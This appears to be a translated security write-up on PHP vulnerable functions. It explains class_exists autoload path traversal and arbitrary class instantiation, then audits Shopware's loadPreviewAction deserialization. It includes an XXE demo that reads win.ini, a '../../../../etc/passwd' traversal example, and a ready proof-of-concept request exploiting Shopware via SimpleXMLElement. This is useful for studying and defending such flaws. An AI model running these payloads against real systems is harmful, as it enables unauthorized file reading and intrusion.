It is very interesting to find some vulnerable functions of PHP, follow the article of Master July Fire to learn.
class_exists: (PHP 4, PHP 5, PHP 7)
Function: Check whether the class is defined
Definition: bool class_exists (string $class_name[, bool $autoload = true])
$class_name
is the name of the class, and it is not case sensitive when matching. By default, $autoload
is true. When $autoload
is true, the __autoload
function in this program will be automatically loaded; when $autoload is false, the __autoload
function will not be called.
The class_exists()
function is used to determine whether the controller passed by the user exists. By default, if the program has the __autoload
function, then the __autoload
function in the program will be automatically called when the class_exists()
function is used. The file for this question contains The loophole appeared in this place. Attackers can use path traversal to include any file. Of course, the premise of using path traversal symbols is PHP5~5.3 (including version 5.3). For example, the search for the class name: ../../../../etc/passwd
will check the contents of the passwd
file.
Combine the above class_exists
function vulnerability to see the above code.
Accept the value over $controllerName and then call class_exists
to pass in the variable, and the $autoload parameter value of class_exists
is not set, the parameter defaults to True, it will automatically call the __autoload
function in this class, which happens to be File inclusion, that is, any file contains vulnerabilities.
Seeing the ninth line of code, a parameter value received is new at this position, and any class instantiation can be implemented. But there are no classes in this code that can directly implement command execution or other operations in the __construct constructor.
So here we use the SimpleXMLElement
class to implement an XXE in the instantiation.
See demo
<?php
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>
//result:
object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
The content of win.ini
is read.
Here is Shopware
for an audit
The vulnerability is in the loadPreviewAction
method of engine\Shopware\Controllers\Backend\ProductStream.php
.
Route access is /Backend/ProductStream/loadPreviewAction
See the loadPreviewAction
method code
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);
$sorting = $this->Request()->getParam('sort');
$criteria = new Criteria();
/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);
foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}
$conditions = $streamRepo->unserialize($conditions);
Receive the value of the sort parameter and perform json_decode
, and then
Get the content of shopware_product_stream.repository
here, and then call unserialize
.
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
}
Track this unserialize
unserialize
code of LogawareReflectionHelper.php
public function unserialize($serialized, $errorSource)
{
$classes = [];
foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0];
try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}
return $classes;
}
Traverse $serialized
, this $serialized is the data passed by our sort and decrypted by json_deocode
.
Then I called createInstanceFromNamedArguments
, followed up the method, and found that reflection created an instantiated object. It feels similar to reflection in Java.
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);
if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}
$constructorParams = $reflectionClass->getConstructor()->getParameters();
$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();
if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();
continue;
}
$newParams[] = $arguments[$paramName];
}
return $reflectionClass->newInstanceArgs($newParams);
}
After analyzing the above, it is actually obvious that it is an arbitrary instantiation vulnerability like the above example.
Then you can also use the SimpleXMLElement
class to achieve the effect of an XXE, of course, you can also find some __construct
functions that do other operations such as command execution or file reading can also be used.
The POC is as follows:
/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25